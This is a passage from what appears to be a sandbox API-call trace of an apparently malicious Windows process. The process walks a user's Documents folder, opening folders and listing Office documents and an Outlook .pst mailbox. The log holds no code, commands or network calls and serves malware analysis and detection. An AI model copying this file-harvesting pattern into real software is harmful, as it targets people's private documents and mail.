ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="")) returned 1 [0090.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0090.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.631] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.633] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0090.633] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.633] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.633] NtClose (Handle=0x16c) returned 0x0 [0090.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1dc8 [0090.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1e50 [0090.634] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0090.635] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.636] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0090.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ed8 [0090.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1ed8) returned 1 [0090.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ed8 [0090.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1ed8) returned 1 [0090.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ed8 [0090.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d938 [0090.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1dc8) returned 1 [0090.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5458 [0090.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134da40 [0090.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1ed8) returned 1 [0090.638] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0090.638] GetLastError () returned 0x12 [0090.638] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.638] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.638] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.638] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0090.638] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0090.638] GetLastError () returned 0x12 [0090.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1e50) returned 1 [0090.638] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134d938) returned 1 [0090.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.639] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0090.639] GetLastError () returned 0x12 [0090.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1ba8) returned 1 [0090.639] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.640] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 1 [0090.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0090.640] GetLastError () returned 0x5 [0090.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ba8 [0090.644] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0090.645] GetLastError () returned 0x5 [0090.645] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0090.645] GetLastError () returned 0x5 [0090.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1ba8) returned 1 [0090.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.645] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205f0270, ftCreationTime.dwHighDateTime=0x1d598f3, ftLastAccessTime.dwLowDateTime=0x4b042b90, ftLastAccessTime.dwHighDateTime=0x1d5438a, ftLastWriteTime.dwLowDateTime=0x4b042b90, ftLastWriteTime.dwHighDateTime=0x1d5438a, nFileSizeHigh=0x0, nFileSizeLow=0x12585, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N3cH.docx", cAlternateFileName="")) returned 1 [0090.645] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19c03060, ftCreationTime.dwHighDateTime=0x1d55d20, ftLastAccessTime.dwLowDateTime=0x982b9e90, ftLastAccessTime.dwHighDateTime=0x1d551df, ftLastWriteTime.dwLowDateTime=0x982b9e90, ftLastWriteTime.dwHighDateTime=0x1d551df, nFileSizeHigh=0x0, nFileSizeLow=0x6bc5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O4J2ueqz.docx", cAlternateFileName="")) returned 1 [0090.646] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="")) returned 1 [0090.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.646] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.646] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.646] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.647] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.647] NtClose (Handle=0x178) returned 0x0 [0090.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ba8 [0090.648] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0090.648] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.648] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="")) returned 1 [0090.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d938 [0090.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5478 [0090.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134db48 [0090.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.650] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="")) returned 0 [0090.650] GetLastError () returned 0x12 [0090.651] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0090.651] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.651] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.651] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="")) returned 1 [0090.651] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="")) returned 0 [0090.651] GetLastError () returned 0x12 [0090.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1ba8) returned 1 [0090.651] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134d938) returned 1 [0090.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.652] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6183d060, ftCreationTime.dwHighDateTime=0x1d59c21, ftLastAccessTime.dwLowDateTime=0xc4b299c0, ftLastAccessTime.dwHighDateTime=0x1d5a6dd, ftLastWriteTime.dwLowDateTime=0xc4b299c0, ftLastWriteTime.dwHighDateTime=0x1d5a6dd, nFileSizeHigh=0x0, nFileSizeLow=0x15a96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qnJp9zSvmKsy2NhnuzjR.pptx", cAlternateFileName="")) returned 1 [0090.652] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8352e5c0, ftCreationTime.dwHighDateTime=0x1d54625, ftLastAccessTime.dwLowDateTime=0xf9d5ce70, ftLastAccessTime.dwHighDateTime=0x1d56749, ftLastWriteTime.dwLowDateTime=0xf9d5ce70, ftLastWriteTime.dwHighDateTime=0x1d56749, nFileSizeHigh=0x0, nFileSizeLow=0x5575, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TV408yQpdC1.xlsx", cAlternateFileName="")) returned 1 [0090.652] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa71a09d0, ftCreationTime.dwHighDateTime=0x1d5be6a, ftLastAccessTime.dwLowDateTime=0x4b3ade40, ftLastAccessTime.dwHighDateTime=0x1d5b691, ftLastWriteTime.dwLowDateTime=0x4b3ade40, ftLastWriteTime.dwHighDateTime=0x1d5b691, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vpc7s", cAlternateFileName="")) returned 1 [0090.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.652] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa71a09d0, ftCreationTime.dwHighDateTime=0x1d5be6a, ftLastAccessTime.dwLowDateTime=0x4b3ade40, ftLastAccessTime.dwHighDateTime=0x1d5b691, ftLastWriteTime.dwLowDateTime=0x4b3ade40, ftLastWriteTime.dwHighDateTime=0x1d5b691, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.652] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.653] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.653] NtClose (Handle=0x168) returned 0x0 [0090.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ba8 [0090.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.654] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0090.654] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: 